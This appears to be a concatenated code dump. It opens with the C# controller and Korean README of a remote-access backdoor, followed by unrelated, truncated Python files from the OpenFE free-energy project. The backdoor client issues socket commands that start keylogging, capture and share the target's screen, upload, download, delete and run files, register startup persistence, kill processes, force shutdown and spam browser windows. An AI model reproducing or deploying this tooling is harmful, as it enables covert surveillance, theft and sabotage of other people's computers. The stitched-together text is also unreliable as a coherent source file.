pFileDlg.FileName.ToString(); //string GE = Path.GetExtension(GEFNE); string FNE = GEFNE.Substring(GEFNE.LastIndexOf("\\") + 1); FileName = FNE; } //if (pFileDlg.ShowDialog() == DialogResult.HasValue && DialogResult.Value) //{ // FileName = pFileDlg.FileName.ToString(); //} richitextbox1.AppendText(Environment.NewLine + "파일이름 : " + FileName); //FileName = Console.ReadLine(); //MessageBox.Show(FileName); //CONSOLE.Text = FileName;//보낼 파일의 이름이된다. //data = Encoding.Unicode.GetBytes("OK"); //server1.Send(data); data = Encoding.Unicode.GetBytes("FTP$:" + FileName); server1.Send(data); byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); richitextbox1.AppendText(Re + Environment.NewLine); if (Re == "파일이 이미 있거나 잘못 입력되었습니다.") { } else { Thread.Sleep(1000); FTPClient(); CONSOLE.Text = ""; richitextbox1.AppendText("전송완료" + Environment.NewLine); } } else if (CONSOLE.Text == "/파일실행") { InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } string f = a; //Console.Write("실행할 파일의 경로와 확장자 명을 모두 입력하세요 : "); //f = Console.ReadLine(); if (f == "" || f == null || f == string.Empty) { //Console.WriteLine("입력되지 않았습니다. 다시입력해 주세요"); richitextbox1.AppendText("입력되지 않았습니다. 다시입력해 주세요" + Environment.NewLine); } else { data = Encoding.Unicode.GetBytes("STF$:" + f); server1.Send(data); byte[] ms = new byte[1024]; int b = server1.Receive(ms); Console.WriteLine("Received data : " + Encoding.Unicode.GetString(ms, 0, b)); Console.WriteLine(); } } else if (CONSOLE.Text == "/창테러") { richitextbox1.AppendText("테러단위를 입력해 주세요" + Environment.NewLine); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } //Console.Write("테러단위? : "); int TR = Convert.ToInt32(a); if (TR <= 0) { //Console.WriteLine("정수가 입력되지 않았습니다. 다시입력해 주세요"); richitextbox1.AppendText("정수가 입력되지 않았습니다. 다시입력해 주세요" + Environment.NewLine); } else { richitextbox1.AppendText("테러할 사이트의 주소를 'http://' 를 제외하고 쓰십시오" + Environment.NewLine); IPU.ShowDialog(); a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } //Console.Write("테러할 사이트의 주소를 'http://' 를 제외하고 쓰십시오 : "); string w = a; byte[] sendBuffer = Encoding.Unicode.GetBytes("WIN$:" + TR + ":" + w); server1.Send(sendBuffer); } } else if (CONSOLE.Text == "/셧다운") { int time = 0; //Console.Write("몇 초 후 종료시키겠습니까? : "); richitextbox1.AppendText("몇 초 후 종료시킬지 입력해 주세요" + Environment.NewLine); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } time = Convert.ToInt32(a); if (time <= 0) { //Console.WriteLine("정상적으로 입력되지 않았습니다. 다시입력해 주세요"); richitextbox1.AppendText("정상적으로 입력되지 않았습니다. 다시입력해 주세요" + Environment.NewLine); } else { data = Encoding.Unicode.GetBytes("STH$:" + time); server1.Send(data); } } else if (CONSOLE.Text == "/익스종료") { //명령 전송 data = Encoding.Unicode.GetBytes("IEX$:" + CONSOLE.Text); server1.Send(data); //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/프로세스목록보기") { //명령 전송 data = Encoding.Unicode.GetBytes("POL$:" + CONSOLE.Text); server1.Send(data); //명령 수신 byte[] ms = new byte[10485760]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/프로세스종료") { //Console.Write("종료할 프로세스 이름을 입력하세요 : "); richitextbox1.AppendText("종료할 프로세스 이름을 입력하세요" + Environment.NewLine); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } //CONSOLE.Text = Console.ReadLine(); //명령 전송 data = Encoding.Unicode.GetBytes("POK$:" + a); server1.Send(data); //명령 수신 byte[] ms = new byte[10485760]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/키로그시작") { //명령 전송 data = Encoding.Unicode.GetBytes("KLO$:" + CONSOLE.Text); server1.Send(data); //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/키로그중지") { //명령 전송 data = Encoding.Unicode.GetBytes("KLN$:" + CONSOLE.Text); server1.Send(data); //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/웹서버실행") { //명령 전송 data = Encoding.Unicode.GetBytes("WEB$:" + CONSOLE.Text); server1.Send(data); //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/화면공유시작") { //명령 전송 data = Encoding.Unicode.GetBytes("RMT$:" + CONSOLE.Text); server1.Send(data); //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/화면공유중지") { //명령 전송 data = Encoding.Unicode.GetBytes("RMN$:" + CONSOLE.Text); server1.Send(data); //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/파일삭제") { richitextbox1.AppendText("삭제할 파일의 경로를 입력해 주세요" + Environment.NewLine); //Console.Write("삭제할 파일의 경로를 입력해 주세요 : "); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } //CONSOLE.Text = Console.ReadLine(); //명령 전송 data = Encoding.Unicode.GetBytes("DEF$:" + a); server1.Send(data); //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/메세지") { //Console.WriteLine("보낼메세지를 쓰세요"); //Console.Write("메세지 : "); richitextbox1.AppendText("보낼 메세지를 입력해 주세요" + Environment.NewLine); string ms = ""; InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } ms = a; data = Encoding.Unicode.GetBytes("MSG$:" + a); server1.Send(data); //CONSOLE.Text = ""; } else if (CONSOLE.Text == "/캡쳐") { data = Encoding.Unicode.GetBytes("CAP$:" + "/캡쳐"); server1.Send(data); CONSOLE.Text = ""; //명령 수신 byte[] ms = new byte[1024]; int b = server1.Receive(ms); string Re = "Received data : " + Encoding.Unicode.GetString(ms, 0, b); //Console.WriteLine(Re); richitextbox1.AppendText(Re + Environment.NewLine); } else if (CONSOLE.Text == "/다운로드") { string welcome = "DOWN$"; //Console.WriteLine("목록 : 캡쳐"); richitextbox1.AppendText("빠른명령어 : 캡쳐" + Environment.NewLine); //Console.WriteLine(" "); //Console.WriteLine("목록에 있는것 또는 경로를 입력하세요 드라이브문자열 뒤 ':' 는 '*' 로 대체됩니다. "); richitextbox1.AppendText("목록에 있는것 또는 경로를 입력하세요 드라이브문자열 뒤 ':' 는 '*' 로 대체됩니다. " + Environment.NewLine); //Console.WriteLine(" "); //Console.Write("다운로드 할 것은 무엇인가요? : "); richitextbox1.AppendText("다운로드 할 것의 '빠른명령어' 또는 경로를 입력해주세요 ex) C:\\01.jpg" + Environment.NewLine); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } string UP = a; //Console.WriteLine(" "); //Console.Write("다운받을 컴퓨터의 IP는 무엇인가요? : "); richitextbox1.AppendText("다운을 받는 컴퓨터의 IP를 입력해주세요" + Environment.NewLine); IPU.ShowDialog(); a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } string Yip = a; ListenPorts listenport = new ListenPorts(ipEndPoint); listenport.FTPListen(); //다운로드서버 richitextbox1.AppendText(WARN + Environment.NewLine); data = Encoding.Unicode.GetBytes(welcome + ":" + Yip + ":" + UP); server1.Send(data); } else if (CONSOLE.Text == "") { //Console.WriteLine("명령입력이 되지 않았습니다."); richitextbox1.AppendText("명령입력이 되지 않았습니다."); } else if (CONSOLE.Text == "/전체경로탐색") { //Console.Write("탐색할 경로를 입력해 주세요 단 ':' 표시는 *으로 대체한다. : "); richitextbox1.AppendText("탐색할 경로를 입력해 주세요 단 ':' 표시는 *으로 대체한다." + Environment.NewLine); //CONSOLE.Text = Console.ReadLine(); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } data = Encoding.Unicode.GetBytes("DIR$:" + a); server1.Send(data); // 메시지 받음 byte[] msg = new byte[1024]; int bytes = server1.Receive(msg); //Console.WriteLine("Received data : " + Encoding.Unicode.GetString(msg, 0, bytes)); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg, 0, bytes) + Environment.NewLine); //Console.WriteLine(); string CONECT = ""; data = Encoding.Unicode.GetBytes("."); server1.Send(data); byte[] MD = new byte[10485760]; bytes = server1.Receive(MD); CONECT = Encoding.Unicode.GetString(MD, 0, bytes); //Console.WriteLine(CONECT); richitextbox1.AppendText(CONECT + Environment.NewLine); } else if (CONSOLE.Text == "/폴더경로탐색") { //Console.Write("탐색할 경로를 입력해 주세요 단 ':' 표시는 *으로 대체한다. : "); richitextbox1.AppendText("탐색할 경로를 입력해 주세요 단':' 표시는 *으로 대체한다." + Environment.NewLine); //CONSOLE.Text = Console.ReadLine(); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } data = Encoding.Unicode.GetBytes("DIRO$:" + a); server1.Send(data); //확인메세지 byte[] msg1 = new byte[1024]; int bytes1 = server1.Receive(msg1); //Console.WriteLine("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1)); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1) + Environment.NewLine); //Console.WriteLine(); //탐색된 메세지 byte[] msg2 = new byte[1048576]; int bytes2 = server1.Receive(msg2); string DD = ""; DD = Encoding.Unicode.GetString(msg2, 0, bytes2); //Console.WriteLine(DD); richitextbox1.AppendText(DD + Environment.NewLine); } else if (CONSOLE.Text == "/시작프로그램등록") { data = Encoding.Unicode.GetBytes("STT$:"); server1.Send(data); //데이터 수신 byte[] msg1 = new byte[1024]; int bytes1 = server1.Receive(msg1); //Console.WriteLine("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1)); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1) + Environment.NewLine); //Console.WriteLine(); } else if (CONSOLE.Text == "/시작프로그램등록해제") { data = Encoding.Unicode.GetBytes("STD$:"); server1.Send(data); //데이터 수신 byte[] msg1 = new byte[1024]; int bytes1 = server1.Receive(msg1); //Console.WriteLine("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1)); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1) + Environment.NewLine); //Console.WriteLine(); } else if (CONSOLE.Text == "/파일경로탐색") { //Console.Write("탐색할 경로를 입력해 주세요 단 ':' 표시는 *으로 대체한다. : "); richitextbox1.AppendText("탐색할 경로를 입력해 주세요 단 ':' 표시는 *으로 대체한다." + Environment.NewLine); //CONSOLE.Text = Console.ReadLine(); InputST IPU = new InputST(); IPU.ShowDialog(); string a = InputST.Passvalue; if (a == "CANC$") { richitextbox1.AppendText("취소됨" + Environment.NewLine); return; } data = Encoding.Unicode.GetBytes("DIRF$:" + a); server1.Send(data); //확인메세지 byte[] msg1 = new byte[1024]; int bytes1 = server1.Receive(msg1); //Console.WriteLine("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1)); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1) + Environment.NewLine); //Console.WriteLine(); //탐색된 메세지 byte[] msg2 = new byte[1048576]; int bytes2 = server1.Receive(msg2); string DD = ""; DD = Encoding.Unicode.GetString(msg2, 0, bytes2); //Console.WriteLine(DD); richitextbox1.AppendText(DD + Environment.NewLine); } else if (CONSOLE.Text == "/프로그램종료") { data = Encoding.Unicode.GetBytes("KILL$:"); server1.Send(data); byte[] msg1 = new byte[1024]; int bytes1 = server1.Receive(msg1); //Console.WriteLine("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1)); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg1, 0, bytes1) + Environment.NewLine); //Console.WriteLine(); } else if (CONSOLE.Text == "/서버열기") { ListenPorts listenport = new ListenPorts(ipEndPoint); listenport.FTPListen(); //다운로드서버 richitextbox1.AppendText(WARN + Environment.NewLine); richitextbox1.AppendText("경고!!" + Environment.NewLine + "아직 시험개발중인 기능입니다!!!!!!!" + Environment.NewLine); } else { data = Encoding.Unicode.GetBytes(CONSOLE.Text); server1.Send(data); richitextbox1.AppendText("Send by the port : " + server1.LocalEndPoint.ToString() + Environment.NewLine); richitextbox1.AppendText("Send data : " + CONSOLE.Text + Environment.NewLine); byte[] msg = new byte[1024]; int bytes = server1.Receive(msg); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg, 0, bytes) + Environment.NewLine); //Console.WriteLine("Send by the port : {0}", server1.LocalEndPoint.ToString()); //Console.WriteLine("Send data : {0}", CONSOLE.Text); // 메시지 받음 //Console.WriteLine("Received data : {0}", Encoding.Unicode.GetString(msg, 0, bytes)); //Console.WriteLine(); // 소켓 닫기 //server1.Close(); } CONSOLE.Text = ""; } else { MessageBox.Show("서버에 먼저 연결해 주세요"); CONSOLE.Text = ""; } } private void Button_Click_2(object sender, RoutedEventArgs e) { //소켓닫기 server1.Close(); BUT.IsEnabled = true; BUT2.IsEnabled = false; Process.Start(Application.ResourceAssembly.Location); Application.Current.Shutdown(); } private void Button_Click(object sender, RoutedEventArgs e) { ip = IP_Text.Text; Dictionary<String, String> netConInfo = new Dictionary<string, string>(); netConInfo.Add("ip", ip); IPAddress dnsServerIP = Dns.GetHostAddresses(netConInfo["ip"])[0]; ipep1 = new IPEndPoint(dnsServerIP, 7779); //메인 콘솔서버 ipep2 = new IPEndPoint(dnsServerIP, 7780); //파일 업로드 서버 //Console.WriteLine("This is a Client, host name is {0}", Dns.GetHostName()); richitextbox1.AppendText("This is a Client host name is" + Dns.GetHostName() + Environment.NewLine); //Console.WriteLine(); string welcome = "Hello, Multiple server ! "; //Send 되는 문자열 try { // 소켓 생성은 전역으로됨 //서버 연결 server1.Connect(ipep1); //Console.WriteLine(Environment.NewLine + "접속시도..."); richitextbox1.AppendText(Environment.NewLine + "Connecting Server..."); //Console.ForegroundColor = ConsoleColor.Green; //Console.WriteLine(Environment.NewLine + "/help 를 입력하여 명령어 목록을 볼 수 있습니다!!"); richitextbox1.AppendText(Environment.NewLine + "help 를 입력하여 명령어 목록을 볼 수 있습니다!"); //Console.ForegroundColor = ConsoleColor.White; data = Encoding.Unicode.GetBytes("CONNECT$:" + welcome); server1.Send(data); byte[] m = new byte[1024]; int bt = server1.Receive(m); //Console.WriteLine("Received data : " + Encoding.Unicode.GetString(m, 0, bt)); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(m, 0, bt) + Environment.NewLine); //Console.WriteLine(); //welcome = Console.ReadLine(); richitextbox1.AppendText(welcome + Environment.NewLine); BUT.IsEnabled = false; BUT2.IsEnabled = true; } catch (Exception ex) { richitextbox1.AppendText(ex.Message.ToString()); BUT.IsEnabled = true; BUT2.IsEnabled = false; } } void FTPClient() { try { //Socket mySocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); //mySocket.Connect(IPAddress.Parse(ip), 8888); Socket server2 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); server2.Connect(ipep2); FileStream fileStr = new FileStream(FileName, FileMode.Open, FileAccess.Read); int fileLength = (int)fileStr.Length; byte[] buffer = BitConverter.GetBytes(fileLength); server2.Send(buffer); int count = fileLength / 1024 + 1; BinaryReader reader = new BinaryReader(fileStr); for (int i = 0; i < count; i++) { buffer = reader.ReadBytes(1024); server2.Send(buffer); } reader.Close(); server2.Close(); } catch { //Console.WriteLine("전송완료"); richitextbox1.AppendText("전송완료" + Environment.NewLine); } } private void Button_Click_3(object sender, RoutedEventArgs e) { md.Stop(); md.PlayLooping(); } private void Button_Click_4(object sender, RoutedEventArgs e) { md.Stop(); } private void CONSOLE_KeyDown(object sender, System.Windows.Input.KeyEventArgs e) { if (BUT.IsEnabled == false) { if (e.Key == System.Windows.Input.Key.Return) { Button_Click_1(sender, e); CONSOLE.ScrollToEnd(); } } else { MessageBox.Show("먼저 서버에 연결해 주세요"); CONSOLE.Text = ""; } } private void IP_Text_KeyDown(object sender, System.Windows.Input.KeyEventArgs e) { if (e.Key == System.Windows.Input.Key.Return) { Button_Click(sender, e); } } private void HKey_Click(object sender, RoutedEventArgs e) { Remote ROE = new Remote(); ROE.ShowDialog(); string a = Remote.Passvalue2; if(a == "/help") { help(); return; } data = Encoding.Unicode.GetBytes(a); server1.Send(data); //richitextbox1.AppendText("Send by the port : " + server1.LocalEndPoint.ToString() + Environment.NewLine); richitextbox1.AppendText("Send data : " + a + Environment.NewLine); byte[] msg = new byte[1024]; int bytes = server1.Receive(msg); richitextbox1.AppendText("Received data : " + Encoding.Unicode.GetString(msg, 0, bytes) + Environment.NewLine); } void help() { richitextbox1.AppendText("/다운로드 : Void Seeker 가 관리하는 파일을 zip파일로 다운로드 받습니다" + Environment.NewLine + "목록 : 사진, Attacker\n" + Environment.NewLine); richitextbox1.AppendText("/업로드 : 파일을 전송하고 C:\\factory\\ 에 저장합니다." + Environment.NewLine); richitextbox1.AppendText("/창테러 : n개의 인터넷창을 테러합니다.\n/익스종료 : 모든 익스플로러 프로세스를 종료합니다." + Environment.NewLine); richitextbox1.AppendText("/셧다운 : 컴퓨터를 종료시켜버립니다." + Environment.NewLine); richitextbox1.AppendText("/캡쳐 : 바탕화면을 캡쳐하여 C:\\work\\ 에 저장합니다." + Environment.NewLine); richitextbox1.AppendText("/전체경로탐색 : 지정된 경로의 파일과 폴더 목록을 전부 보여줍니다." + Environment.NewLine); richitextbox1.AppendText("/폴더경로탐색 : 지정된 경로안의 폴더목록을 전부 보여줍니다." + Environment.NewLine); richitextbox1.AppendText("/파일경로탐색 : 지정된 경로안의 폴더목록을 전부 보여줍니다." + Environment.NewLine); richitextbox1.AppendText("/파일삭제 : 서버의 지정된 경로의 파일을 삭제합니다." + Environment.NewLine); richitextbox1.AppendText("/파일실행 : 서버의 지정된 경로의 파일을 실행합니다." + Environment.NewLine); richitextbox1.AppendText("/시작프로그램등록 : 시작프로그램으로 등록합니다." + Environment.NewLine); richitextbox1.AppendText("/시작프로그램등록해제 : 시작프로그램 등록을 해제합니다." + Environment.NewLine); richitextbox1.AppendText("/프로그램종료 : 서버 프로그램을 종료 합니다." + Environment.NewLine); richitextbox1.AppendText("/메세지 : 서버가 작동중인 컴퓨터에 메세지를 띄웁니다." + Environment.NewLine); richitextbox1.AppendText("/키로그시작 : 키보드 키의 로그를 타겟 컴퓨터의 C:\\factory\\key\\ 에 사진과 로그로 남깁니다." + Environment.NewLine); richitextbox1.AppendText("/키로그중지 : 키로그를 중지합니다." + Environment.NewLine); richitextbox1.AppendText("/화면공유시작 : 타겟의 화면을 웹으로 공유합니다." + Environment.NewLine); richitextbox1.AppendText("/화면공유중지 : 화면공유를 중지합니다." + Environment.NewLine); richitextbox1.AppendText("/웹서버시작(미구현 개발) : 타겟의 컴퓨터에서 ASP.NET 형태의 웹서버를 만듭니다." + Environment.NewLine); richitextbox1.AppendText("/프로세스목록보기 : 상대방컴퓨터의 프로세스 목록을 가져옵니다." + Environment.NewLine); } } class ListenPorts { Socket[] socket; IPEndPoint[] ipEndPoint; public static string FTPFileN; internal ListenPorts(IPEndPoint[] ipEndPoint) { this.ipEndPoint = ipEndPoint; socket = new Socket[ipEndPoint.Length]; } public void FTPListen() { //for (int i = 0; i < ipEndPoint.Length; i++) //{ socket[0] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket[0].Bind(ipEndPoint[0]); Thread t_handler = new Thread(FTPServer); t_handler.IsBackground = true; t_handler.Start(socket[0]); //} //Console.WriteLine("FTP서버 열기성공"); MainWindow ric = new MainWindow(); ric.warn = "FTP서버 열기 성공" + Environment.NewLine; } public void FTPServer(object sender) { FTPFileN = "DOWN.zip"; if (File.Exists("DOWN.zip")) { File.Delete("DOWN.zip"); } Socket m_client = sender as Socket; m_client.Listen(100); Socket newSocket = m_client.Accept(); ConsoleManager.Show(); ConsoleManager.Show(); Console.WriteLine("연결대기 성공"); byte[] buffer = new byte[4]; newSocket.Receive(buffer); int fileLength = BitConverter.ToInt32(buffer, 0); buffer = new byte[1024]; int totalLength = 0; Console.WriteLine("성공"); Console.WriteLine(FTPFileN); FileStream fileStr = new FileStream(FTPFileN, FileMode.Create, FileAccess.Write); BinaryWriter writer = new BinaryWriter(fileStr); Console.WriteLine("마지막단계 성공"); while (totalLength < fileLength) { int receiveLength = newSocket.Receive(buffer); writer.Write(buffer, 0, receiveLength); totalLength += receiveLength; } Console.WriteLine("전송받음"); writer.Close(); newSocket.Close(); m_client.Close(); Thread.Sleep(3000); ConsoleManager.Hide(); return; } } public static class ConsoleManager { private const string Kernel32_DllName = "kernel32.dll"; [DllImport(Kernel32_DllName)] private static extern bool AllocConsole(); [DllImport(Kernel32_DllName)] private static extern bool FreeConsole(); [DllImport(Kernel32_DllName)] private static extern IntPtr GetConsoleWindow(); [DllImport(Kernel32_DllName)] private static extern int GetConsoleOutputCP(); public static bool HasConsole { get { return GetConsoleWindow() != IntPtr.Zero; } } /// <summary> /// Creates a new console instance if the process is not attached to a console already. /// </summary> public static void Show() { //#if DEBUG if (!HasConsole) { AllocConsole(); InvalidateOutAndError(); } //#endif } /// <summary> /// If the process has a console attached to it, it will be detached and no longer visible. Writing to the System.Console is still possible, but no output will be shown. /// </summary> public static void Hide() { //#if DEBUG if (HasConsole) { SetOutAndErrorNull(); FreeConsole(); } //#endif } public static void Toggle() { if (HasConsole) { Hide(); } else { Show(); } } static void InvalidateOutAndError() { Type type = typeof(System.Console); System.Reflection.FieldInfo _out = type.GetField("_out", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); System.Reflection.FieldInfo _error = type.GetField("_error", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); System.Reflection.MethodInfo _InitializeStdOutError = type.GetMethod("InitializeStdOutError", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); Debug.Assert(_out != null); Debug.Assert(_error != null); Debug.Assert(_InitializeStdOutError != null); _out.SetValue(null, null); _error.SetValue(null, null); _InitializeStdOutError.Invoke(null, new object[] { true }); } static void SetOutAndErrorNull() { Console.SetOut(TextWriter.Null); Console.SetError(TextWriter.Null); } } } <file_sep># BackDoor 클라이언트와 서버로 구성된 백도어 단순히 클라이언트로부터 문자열을 받아서 서버에 작성된 소스코드에 따라서 작동되는 프로그램입니다. # 명령어 설명 /help 명령어설명을 불러옵니다. /다운로드 : Void Seeker 가 관리하는 파일을 zip파일로 다운로드 받습니다. ※관리목록 : work, factory /업로드 : 파일을 전송하고 C:\factory\ 에 저장합니다. /창테러 : n개의 인터넷창을 테러합니다. /익스종료 : 모든 익스플로러 프로세스를 종료합니다. /셧다운 : 컴퓨터를 종료시켜버립니다. /캡쳐 : 바탕화면을 캡쳐하여 C:\work\ 에 저장합니다. /전체경로탐색 : 지정된 경로의 파일과 폴더 목록을 전부 보여줍니다. /폴더경로탐색 : 지정된 경로안의 폴더목록을 전부 보여줍니다. /파일경로탐색 : 지정된 경로안의 폴더목록을 전부 보여줍니다. /파일삭제 : 서버의 지정된 경로의 파일을 삭제합니다. /파일실행 : 서버의 지정된 경로의 파일을 실행합니다. /시작프로그램등록 : 시작프로그램으로 등록합니다. /시작프로그램등록해제 : 시작프로그램 등록을 해제합니다. /프로그램종료 : 서버 프로그램을 종료 합니다. /메세지 : 서버가 작동중인 컴퓨터에 메세지를 띄웁니다. /키로그시작 : 키보드 키의 로그를 타겟 컴퓨터의 C:\factory\key\ 에 사진과 로그로 남깁니다. /키로그중지 : 키로그를 중지합니다. /화면공유시작 : 타겟의 화면을 웹으로 공유합니다. /화면공유중지 : 화면공유를 중지합니다. /웹서버시작(미구현 개발) : 타겟의 컴퓨터에서 ASP.NET 형태의 웹서버를 만듭니다. /프로세스목록보기 : 상대방컴퓨터의 프로세스 목록을 가져옵니다. # 악용하지마라
677b9e0f9c78fffa04d6082b280a8b1733a9ce32
[ "Markdown", "C#" ]
4
C#
LEPTONNW/BackDoor
184daf9b8ff5002054a7a7a9831047d222ba8906
4d19822c9b4414a2f507e3f39386cf14ec474394
refs/heads/main
<file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click import glob import itertools import pathlib from plugcli.params import MultiStrategyGetter, Option, NOT_PARSED # MOVE TO GUFE #################################################### def _smcs_from_sdf(sdf): from openfe import SmallMoleculeComponent from rdkit import Chem supp = Chem.SDMolSupplier(str(sdf), removeHs=False) mols = [SmallMoleculeComponent(mol) for mol in supp] return mols def _smcs_from_mol2(mol2): from openfe import SmallMoleculeComponent from rdkit import Chem rdmol = Chem.MolFromMol2File(str(mol2), removeHs=False) return [SmallMoleculeComponent.from_rdkit(rdmol)] def load_molecules(file_or_directory): """ Load SmallMoleculeComponents in the given file or directory. This always returns a list. The input can be a directory, in which all files ending with .sdf are loaded as SDF and all files ending in .mol2 are loaded as MOL2. Parameters ---------- file_or_directory : pathlib.Path Returns ------- list[SmallMoleculeComponent] """ inp = pathlib.Path(file_or_directory) # for shorter lines if inp.is_dir(): sdf_files = [f for f in inp.iterdir() if f.suffix.lower() == ".sdf"] mol2_files = [f for f in inp.iterdir() if f.suffix.lower() == ".mol2"] else: sdf_files = [inp] if inp.suffix.lower() == ".sdf" else [] mol2_files = [inp] if inp.suffix.lower() == ".mol2" else [] if not sdf_files + mol2_files: raise ValueError(f"Unable to find molecules in {file_or_directory}") sdf_mols = sum([_smcs_from_sdf(sdf) for sdf in sdf_files], []) mol2_mols = sum([_smcs_from_mol2(mol2) for mol2 in mol2_files], []) return sdf_mols + mol2_mols # END MOVE TO GUFE ################################################ def molecule_getter(user_input, context): return load_molecules(user_input) MOL_DIR = Option( "-M", "--molecules", type=click.Path(exists=True), help=( "A directory or file containing all molecules to be loaded, either" " as a single SDF or multiple MOL2/SDFs." ), getter=molecule_getter, ) COFACTORS = Option( "-C", "--cofactors", type=click.Path(exists=True), help="Path to cofactors sdf file. This may contain multiple molecules", getter=molecule_getter, )<file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from . import _rfe_utils from .equil_rfe_settings import ( RelativeHybridTopologyProtocolSettings, ) from .equil_rfe_methods import ( RelativeHybridTopologyProtocol, RelativeHybridTopologyProtocolResult, RelativeHybridTopologyProtocolUnit, ) <file_sep>import pytest from click.testing import CliRunner from .conftest import HAS_INTERNET import pathlib from openfecli.fetching import FetchablePlugin from openfecli.fetchables import ( RBFE_TUTORIAL, RBFE_TUTORIAL_RESULTS, RBFE_SHOWCASE ) def fetchable_test(fetchable): """Unit test to ensure that a given FetchablePlugin works""" assert isinstance(fetchable, FetchablePlugin) expected_paths = [pathlib.Path(f) for f in fetchable.filenames] runner = CliRunner() if fetchable.fetcher.REQUIRES_INTERNET and not HAS_INTERNET: # -no-cov- pytest.skip("Internet seems to be unavailable") with runner.isolated_filesystem(): result = runner.invoke(fetchable.command, ['-d' 'output-dir']) assert result.exit_code == 0 for path in expected_paths: assert (pathlib.Path("output-dir") / path).exists() def test_rhfe_tutorial(): fetchable_test(RBFE_TUTORIAL) def test_rhfe_tutorial_results(): fetchable_test(RBFE_TUTORIAL_RESULTS) def test_rhfe_showcase(): fetchable_test(RBFE_SHOWCASE) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import pytest from rdkit import Chem from rdkit.Chem import AllChem import openfe from gufe import SmallMoleculeComponent from openfe.setup.atom_mapping import LomapAtomMapper from .conftest import 